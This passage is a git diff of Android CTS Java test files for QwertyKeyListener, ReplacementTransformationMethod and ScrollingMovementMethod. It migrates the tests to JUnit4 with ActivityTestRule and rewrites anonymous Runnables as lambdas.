-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testMarkAsReplacedNullContent() {
+        QwertyKeyListener.markAsReplaced(null, 1, 2, "abcd");
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testMarkAsReplacedNullOriginal() {
+        QwertyKeyListener.markAsReplaced(new SpannableStringBuilder("123456"), 1, 2, null);
+    }
+
+    @Test
     public void testGetInputType() {
         QwertyKeyListener listener = QwertyKeyListener.getInstance(false, Capitalize.NONE);
-        int expected = InputType.TYPE_CLASS_TEXT;
-        assertEquals(expected, listener.getInputType());
+        assertEquals(InputType.TYPE_CLASS_TEXT, listener.getInputType());
 
         listener = QwertyKeyListener.getInstance(false, Capitalize.CHARACTERS);
-        expected = InputType.TYPE_CLASS_TEXT
+        final int expected = InputType.TYPE_CLASS_TEXT
                 | InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS;
         assertEquals(expected, listener.getInputType());
     }
diff --git a/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
index ef7de09..e75271e 100644
--- a/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
@@ -16,36 +16,48 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.method.ReplacementTransformationMethod;
 import android.util.TypedValue;
 import android.widget.EditText;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ReplacementTransformationMethod}.
  */
-public class ReplacementTransformationMethodTest extends
-        ActivityInstrumentationTestCase2<CtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ReplacementTransformationMethodTest {
     private final char[] ORIGINAL = new char[] { '0', '1' };
     private final char[] ORIGINAL_WITH_MORE_CHARS = new char[] { '0', '1', '2' };
     private final char[] ORIGINAL_WITH_SAME_CHARS = new char[] { '0', '0' };
     private final char[] REPLACEMENT = new char[] { '3', '4' };
     private final char[] REPLACEMENT_WITH_MORE_CHARS = new char[] { '3', '4', '5' };
     private final char[] REPLACEMENT_WITH_SAME_CHARS = new char[] { '3', '3' };
+
     private EditText mEditText;
 
-    public ReplacementTransformationMethodTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mEditText = new EditTextNoIme(getActivity());
+    @UiThreadTest
+    @Before
+    public void setup() throws Throwable {
+        mEditText = new EditTextNoIme(mActivityRule.getActivity());
         mEditText.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
     }
 
+    @Test
     public void testGetTransformation() {
         MyReplacementTransformationMethod method =
             new MyReplacementTransformationMethod(ORIGINAL, REPLACEMENT);
@@ -57,6 +69,7 @@
         // TODO cannot get transformed text from the view
     }
 
+    @Test
     public void testGetTransformationWithAbnormalCharSequence() {
         ReplacementTransformationMethod method = new MyReplacementTransformationMethod(ORIGINAL,
                 REPLACEMENT);
@@ -71,6 +84,7 @@
         assertEquals("", method.getTransformation("", null).toString());
     }
 
+    @Test
     public void testGetTransformationWithAbmornalReplacement() {
         // replacement has same chars
         ReplacementTransformationMethod method =
@@ -90,26 +104,27 @@
         // TODO cannot get transformed text from the view
     }
 
-    public void testGetTransformationWithAbmornalOriginal() {
+    @Test
+    public void testGetTransformationWithAbnormalOriginal() {
         // original has same chars
         ReplacementTransformationMethod method =
-            new MyReplacementTransformationMethod(ORIGINAL_WITH_SAME_CHARS, REPLACEMENT);
+                new MyReplacementTransformationMethod(ORIGINAL_WITH_SAME_CHARS, REPLACEMENT);
         assertEquals("414141", method.getTransformation("010101", null).toString());
 
         mEditText.setTransformationMethod(method);
         mEditText.setText("010101");
         // TODO cannot get transformed text from the view
-
-        // original has more chars than replacement
-        method = new MyReplacementTransformationMethod(ORIGINAL_WITH_MORE_CHARS, REPLACEMENT);
-        try {
-            method.getTransformation("012012012", null);
-            fail("Threre is more chars in the original than replacement.");
-        } catch (ArrayIndexOutOfBoundsException e) {
-            // expected
-        }
     }
 
+    @Test(expected=ArrayIndexOutOfBoundsException.class)
+    public void testGetTransformationMismatchCharCount() {
+        // original has more chars than replacement
+        ReplacementTransformationMethod method =
+                new MyReplacementTransformationMethod(ORIGINAL_WITH_MORE_CHARS, REPLACEMENT);
+        method.getTransformation("012012012", null);
+    }
+
+    @Test
     public void testOnFocusChanged() {
         ReplacementTransformationMethod method = new MyReplacementTransformationMethod(ORIGINAL,
                 REPLACEMENT);
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index 8419850..32c6e5e 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -16,9 +16,21 @@
 
 package android.text.method.cts;
 
-import android.cts.util.WidgetTestUtils;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -30,11 +42,17 @@
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
-import android.view.ViewGroup;
 import android.view.ViewGroup.LayoutParams;
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ScrollingMovementMethod}. The class is an implementation of interface
  * {@link MovementMethod}. The typical usage of {@link MovementMethod} is tested in
@@ -43,68 +61,64 @@
  *
  * @see android.widget.cts.TextViewTest
  */
-public class ScrollingMovementMethodTest extends ActivityInstrumentationTestCase2<CtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ScrollingMovementMethodTest {
     private static final int LITTLE_SPACE = 20;
 
     private static final String THREE_LINES_TEXT = "first line\nsecond line\nlast line";
 
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private TextView mTextView;
-
     private Spannable mSpannable;
-
     private int mScaledTouchSlop;
 
-    public ScrollingMovementMethodTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mTextView = new TextViewNoIme(getActivity());
+    @UiThreadTest
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mTextView = new TextViewNoIme(mActivity);
         mTextView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12);
         mTextView.setText(THREE_LINES_TEXT, BufferType.EDITABLE);
         mSpannable = (Spannable) mTextView.getText();
-        mScaledTouchSlop = ViewConfiguration.get(getActivity()).getScaledTouchSlop();
+        mScaledTouchSlop = ViewConfiguration.get(mActivity).getScaledTouchSlop();
     }
 
+    @Test
     public void testConstructor() {
         new ScrollingMovementMethod();
     }
 
+    @Test
     public void testGetInstance() {
-        MovementMethod method0 = ScrollingMovementMethod.getInstance();
+        final MovementMethod method0 = ScrollingMovementMethod.getInstance();
         assertTrue(method0 instanceof ScrollingMovementMethod);
 
-        MovementMethod method1 = ScrollingMovementMethod.getInstance();
+        final MovementMethod method1 = ScrollingMovementMethod.getInstance();
         assertSame(method0, method1);
     }
 
+    @Test
     public void testOnTouchEventHorizontalMotion() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
         final ScrollingMovementMethod method = new ScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("hello world", BufferType.SPANNABLE);
-                mTextView.setSingleLine();
-                mSpannable = (Spannable) mTextView.getText();
-                int width = WidgetTestUtils.convertDipToPixels(getActivity(), LITTLE_SPACE);
-                getActivity().setContentView(mTextView,
-                        new ViewGroup.LayoutParams(width, ViewGroup.LayoutParams.WRAP_CONTENT));
-            }
+        runActionOnUiThread(() -> {
+            mTextView.setText("hello world", BufferType.SPANNABLE);
+            mTextView.setSingleLine();
+            mSpannable = (Spannable) mTextView.getText();
+            final int width = WidgetTestUtils.convertDipToPixels(mActivity, LITTLE_SPACE);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(width, LayoutParams.WRAP_CONTENT));
         });
         assertNotNull(mTextView.getLayout());
 
-        float rightMost = mTextView.getLayout().getLineRight(0) - mTextView.getWidth()
+        final float rightMost = mTextView.getLayout().getLineRight(0) - mTextView.getWidth()
                 + mTextView.getTotalPaddingLeft() + mTextView.getTotalPaddingRight();
-        int leftMost = mTextView.getScrollX();
+        final int leftMost = mTextView.getScrollX();
 
         final long now = SystemClock.uptimeMillis();
         assertTrue(getActionResult(new ActionRunnerWithResult() {
@@ -186,28 +200,19 @@
         }));
     }
 
+    @Test
     public void testOnTouchEventVerticalMotion() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
         final ScrollingMovementMethod method = new ScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setLines(1);
-                getActivity().setContentView(mTextView,
-                        new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
-            }
+        runActionOnUiThread(() -> {
+            mTextView.setLines(1);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
         });
         assertNotNull(mTextView.getLayout());
 
-        float bottom = mTextView.getLayout().getHeight() - mTextView.getHeight()
+        final float bottom = mTextView.getLayout().getHeight() - mTextView.getHeight()
                 + mTextView.getTotalPaddingTop() + mTextView.getTotalPaddingBottom();
-        int top = mTextView.getScrollY();
+        final int top = mTextView.getScrollY();
 
         final long now = SystemClock.uptimeMillis();
         assertTrue(getActionResult(new ActionRunnerWithResult() {
@@ -289,230 +294,158 @@
         }));
     }
 
+    @Test
     public void testOnTouchEventExceptional() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                int width = WidgetTestUtils.convertDipToPixels(getActivity(), LITTLE_SPACE);
-                getActivity().setContentView(mTextView,
-                        new ViewGroup.LayoutParams(width, ViewGroup.LayoutParams.WRAP_CONTENT));
-            }
+        runActionOnUiThread(() -> {
+            final int width = WidgetTestUtils.convertDipToPixels(mActivity, LITTLE_SPACE);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(width, LayoutParams.WRAP_CONTENT));
         });
         assertNotNull(mTextView.getLayout());
 
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(mTextView, mSpannable, null);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+        runActionOnUiThread(() -> {
+            try {
+                new ScrollingMovementMethod().onTouchEvent(mTextView, mSpannable, null);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                long now = SystemClock.uptimeMillis();
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(mTextView, null,
-                            MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 0, 0, 0));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
-
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(null, mSpannable,
-                            MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 0, 0, 0));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
-
-                new ScrollingMovementMethod().onTouchEvent(mTextView, mSpannable,
+            long now = SystemClock.uptimeMillis();
+            try {
+                new ScrollingMovementMethod().onTouchEvent(mTextView, null,
                         MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 0, 0, 0));
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(null, mSpannable,
-                            MotionEvent.obtain(now, now, MotionEvent.ACTION_MOVE, - 10000, 0, 0));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(mTextView, null,
-                            MotionEvent.obtain(now, now, MotionEvent.ACTION_MOVE, - 10000, 0, 0));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                new ScrollingMovementMethod().onTouchEvent(null, mSpannable,
+                        MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 0, 0, 0));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(null, mSpannable,
-                            MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, - 10000, 0, 0));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            new ScrollingMovementMethod().onTouchEvent(mTextView, mSpannable,
+                    MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 0, 0, 0));
+            try {
+                new ScrollingMovementMethod().onTouchEvent(null, mSpannable,
+                        MotionEvent.obtain(now, now, MotionEvent.ACTION_MOVE, -10000, 0, 0));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    new ScrollingMovementMethod().onTouchEvent(mTextView, null,
-                            MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, - 10000, 0, 0));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                new ScrollingMovementMethod().onTouchEvent(mTextView, null,
+                        MotionEvent.obtain(now, now, MotionEvent.ACTION_MOVE, -10000, 0, 0));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
+
+            try {
+                new ScrollingMovementMethod().onTouchEvent(null, mSpannable,
+                        MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, -10000, 0, 0));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
+
+            try {
+                new ScrollingMovementMethod().onTouchEvent(mTextView, null,
+                        MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, -10000, 0, 0));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
             }
         });
     }
 
+    @Test
     public void testCanSelectArbitrarily() {
         assertFalse(new ScrollingMovementMethod().canSelectArbitrarily());
     }
 
+    @Test
     public void testOnKeyDownVerticalMovement() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                getActivity().setContentView(mTextView);
-            }
-        });
+        runActionOnUiThread(() -> mActivity.setContentView(mTextView));
         assertNotNull(mTextView.getLayout());
 
-        assertVisibleLineInTextView(0);
+        verifyVisibleLineInTextView(0);
         final MyScrollingMovementMethod method = new MyScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onKeyDown(mTextView, null, KeyEvent.KEYCODE_DPAD_DOWN,
-                        new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_DOWN));
-            }
-        });
-        assertVisibleLineInTextView(1);
+        runActionOnUiThread(() -> method.onKeyDown(mTextView, null, KeyEvent.KEYCODE_DPAD_DOWN,
+                new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_DOWN)));
+        verifyVisibleLineInTextView(1);
 
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onKeyDown(mTextView, null, KeyEvent.KEYCODE_DPAD_UP,
-                        new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP));
-            }
-        });
-        assertVisibleLineInTextView(0);
+        runActionOnUiThread(() -> method.onKeyDown(mTextView, null, KeyEvent.KEYCODE_DPAD_UP,
+                new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP)));
+        verifyVisibleLineInTextView(0);
     }
 
+    @Test
     public void testOnKeyDownHorizontalMovement() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText("short");
-                mTextView.setSingleLine();
-                int width = WidgetTestUtils.convertDipToPixels(getActivity(), LITTLE_SPACE);
-                getActivity().setContentView(mTextView,
-                        new ViewGroup.LayoutParams(width, ViewGroup.LayoutParams.WRAP_CONTENT));
-            }
+        runActionOnUiThread(() -> {
+            mTextView.setText("short");
+            mTextView.setSingleLine();
+            final int width = WidgetTestUtils.convertDipToPixels(mActivity, LITTLE_SPACE);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(width, LayoutParams.WRAP_CONTENT));
         });
         assertNotNull(mTextView.getLayout());
 
         final MyScrollingMovementMethod method = new MyScrollingMovementMethod();
         int previousScrollX = mTextView.getScrollX();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onKeyDown(mTextView, (Spannable) mTextView.getText(),
-                        KeyEvent.KEYCODE_DPAD_RIGHT, new KeyEvent(KeyEvent.ACTION_DOWN,
-                                KeyEvent.KEYCODE_DPAD_RIGHT));
-            }
-        });
+        runActionOnUiThread(() -> method.onKeyDown(mTextView, (Spannable) mTextView.getText(),
+                KeyEvent.KEYCODE_DPAD_RIGHT, new KeyEvent(KeyEvent.ACTION_DOWN,
+                        KeyEvent.KEYCODE_DPAD_RIGHT)));
         assertTrue(mTextView.getScrollX() > previousScrollX);
 
         previousScrollX = mTextView.getScrollX();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onKeyDown(mTextView, (Spannable) mTextView.getText(),
-                        KeyEvent.KEYCODE_DPAD_LEFT, new KeyEvent(KeyEvent.ACTION_DOWN,
-                                KeyEvent.KEYCODE_DPAD_LEFT));
-            }
-        });
+        runActionOnUiThread(() -> method.onKeyDown(mTextView, (Spannable) mTextView.getText(),
+                KeyEvent.KEYCODE_DPAD_LEFT, new KeyEvent(KeyEvent.ACTION_DOWN,
+                        KeyEvent.KEYCODE_DPAD_LEFT)));
         assertTrue(mTextView.getScrollX() < previousScrollX);
 
         previousScrollX = mTextView.getScrollX();
-        assertVisibleLineInTextView(0);
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                assertFalse(method.onKeyDown(mTextView, mSpannable, 0,
-                        new KeyEvent(KeyEvent.ACTION_DOWN, 0)));
-            }
-        });
+        verifyVisibleLineInTextView(0);
+        runActionOnUiThread(() -> assertFalse(method.onKeyDown(mTextView, mSpannable, 0,
+                new KeyEvent(KeyEvent.ACTION_DOWN, 0))));
         assertEquals(previousScrollX, mTextView.getScrollX());
-        assertVisibleLineInTextView(0);
+        verifyVisibleLineInTextView(0);
     }
 
+    @Test
     public void testOnKeyDownExceptions() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                getActivity().setContentView(mTextView);
-            }
-        });
+        runActionOnUiThread(() -> mActivity.setContentView(mTextView));
         assertNotNull(mTextView.getLayout());
 
         final MyScrollingMovementMethod method = new MyScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    method.onKeyDown(null, mSpannable, KeyEvent.KEYCODE_DPAD_RIGHT,
-                            new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+        runActionOnUiThread(() -> {
+            try {
+                method.onKeyDown(null, mSpannable, KeyEvent.KEYCODE_DPAD_RIGHT,
+                        new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    method.onKeyDown(mTextView, null, KeyEvent.KEYCODE_DPAD_RIGHT,
-                            new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP));
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                method.onKeyDown(mTextView, null, KeyEvent.KEYCODE_DPAD_RIGHT,
+                        new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP));
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    method.onKeyDown(mTextView, mSpannable, KeyEvent.KEYCODE_DPAD_RIGHT, null);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                method.onKeyDown(mTextView, mSpannable, KeyEvent.KEYCODE_DPAD_RIGHT, null);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
             }
         });
     }
 
+    @Test
     public void testVerticalMovement() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
         final MyScrollingMovementMethod method = new MyScrollingMovementMethod();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setLines(1);
-                getActivity().setContentView(mTextView,
-                        new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
-            }
+        runActionOnUiThread(() -> {
+            mTextView.setLines(1);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
         });
         assertNotNull(mTextView.getLayout());
 
@@ -521,72 +454,71 @@
                 mResult = method.down(mTextView, mSpannable);
             }
         }));
-        assertVisibleLineInTextView(1);
+        verifyVisibleLineInTextView(1);
 
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 mResult = method.down(mTextView, mSpannable);
             }
         }));
-        assertVisibleLineInTextView(2);
+        verifyVisibleLineInTextView(2);
 
         assertFalse(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 mResult = method.down(mTextView, mSpannable);
             }
         }));
-        assertVisibleLineInTextView(2);
+        verifyVisibleLineInTextView(2);
 
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 mResult = method.up(mTextView, mSpannable);
             }
         }));
-        assertVisibleLineInTextView(1);
+        verifyVisibleLineInTextView(1);
 
         assertTrue(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 mResult = method.up(mTextView, mSpannable);
             }
         }));
-        assertVisibleLineInTextView(0);
+        verifyVisibleLineInTextView(0);
 
         assertFalse(getActionResult(new ActionRunnerWithResult() {
             public void run() {
                 mResult = method.up(mTextView, mSpannable);
             }
         }));
-        assertVisibleLineInTextView(0);
+        verifyVisibleLineInTextView(0);
 
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                try {
-                    method.up(null, mSpannable);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+        runActionOnUiThread(() -> {
+            try {
+                method.up(null, mSpannable);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    method.up(mTextView, null);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                method.up(mTextView, null);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    method.down(null, mSpannable);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                method.down(null, mSpannable);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
+            }
 
-                try {
-                    method.down(mTextView, null);
-                } catch (NullPointerException e) {
-                    // NPE is acceptable
-                }
+            try {
+                method.down(mTextView, null);
+            } catch (NullPointerException e) {
+                // NPE is acceptable
             }
         });
     }
 
+    @Test
     public void testMovementWithNullLayout() {
         assertNull(mTextView.getLayout());
         try {
@@ -613,7 +545,7 @@
             // NPE is acceptable
         }
 
-        long now = SystemClock.uptimeMillis();
+        final long now = SystemClock.uptimeMillis();
         try {
             KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_RIGHT);
             new ScrollingMovementMethod().onKeyDown(mTextView, mSpannable,
@@ -632,14 +564,16 @@
         }
     }
 
+    @Test
     public void testInitialize() {
         new ScrollingMovementMethod().initialize(null, null);
     }
 
+    @Test
     public void testOnTrackballEvent() {
-        long now = SystemClock.uptimeMillis();
-        MotionEvent event = MotionEvent.obtain(now, now, 0, 2, -2, 0);
-        MyScrollingMovementMethod mockMethod = new MyScrollingMovementMethod();
+        final long now = SystemClock.uptimeMillis();
+        final MotionEvent event = MotionEvent.obtain(now, now, 0, 2, -2, 0);
+        final MyScrollingMovementMethod mockMethod = new MyScrollingMovementMethod();
 
         assertFalse(mockMethod.onTrackballEvent(mTextView, mSpannable, event));
         assertFalse(mockMethod.onTrackballEvent(null, mSpannable, event));
@@ -647,11 +581,13 @@
         assertFalse(mockMethod.onTrackballEvent(mTextView, null, event));
     }
 
+    @UiThreadTest
+    @Test
     public void testOnKeyUp() {
-        ScrollingMovementMethod method = new ScrollingMovementMethod();
-        SpannableString spannable = new SpannableString("Test Content");
-        KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
-        TextView view = new TextViewNoIme(getActivity());
+        final ScrollingMovementMethod method = new ScrollingMovementMethod();
+        final SpannableString spannable = new SpannableString("Test Content");
+        final KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
+        final TextView view = new TextViewNoIme(mActivity);
         view.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12);
 
         assertFalse(method.onKeyUp(view, spannable, KeyEvent.KEYCODE_0, event));
@@ -662,15 +598,8 @@
         assertFalse(method.onKeyUp(view, spannable, KeyEvent.KEYCODE_0, null));
     }
 
+    @Test
     public void testOnTakeFocus() throws Throwable {
-        /*
-         * All these assertions depends on whether the TextView has a layout.The text view will not
-         * get layout in setContent method but in otherhandler's function. Assertion which is
-         * following the setContent will not get the expecting result. It have to wait all the
-         * handlers' operations on the UiTread to finish. So all these cases are divided into
-         * several steps,setting the content at first, waiting the layout, and checking the
-         * assertion at last.
-         */
         final ScrollingMovementMethod method = new ScrollingMovementMethod();
         // wait until the text view gets layout
         assertNull(mTextView.getLayout());
@@ -680,71 +609,50 @@
             // NPE is acceptable
         }
 
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                int height = WidgetTestUtils.convertDipToPixels(getActivity(), LITTLE_SPACE);
-                getActivity().setContentView(mTextView,
-                        new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
-                                height));
-            }
+        runActionOnUiThread(() -> {
+            final int height = WidgetTestUtils.convertDipToPixels(mActivity, LITTLE_SPACE);
+            mActivity.setContentView(mTextView,
+                    new LayoutParams(LayoutParams.MATCH_PARENT,
+                            height));
         });
-        Layout layout = mTextView.getLayout();
+        final Layout layout = mTextView.getLayout();
         assertNotNull(layout);
 
         int previousScrollY = mTextView.getScrollY();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
-                method.onTakeFocus(mTextView, mSpannable, View.FOCUS_BACKWARD);
-            }
-        });
+        runActionOnUiThread(() -> method.onTakeFocus(mTextView, mSpannable, View.FOCUS_BACKWARD));
         assertTrue(mTextView.getScrollY() >= previousScrollY);
-        assertVisibleLineInTextView(2);
+        verifyVisibleLineInTextView(2);
 
         previousScrollY = mTextView.getScrollY();
-        runActionOnUiThread(new Runnable() {
-            public void run() {
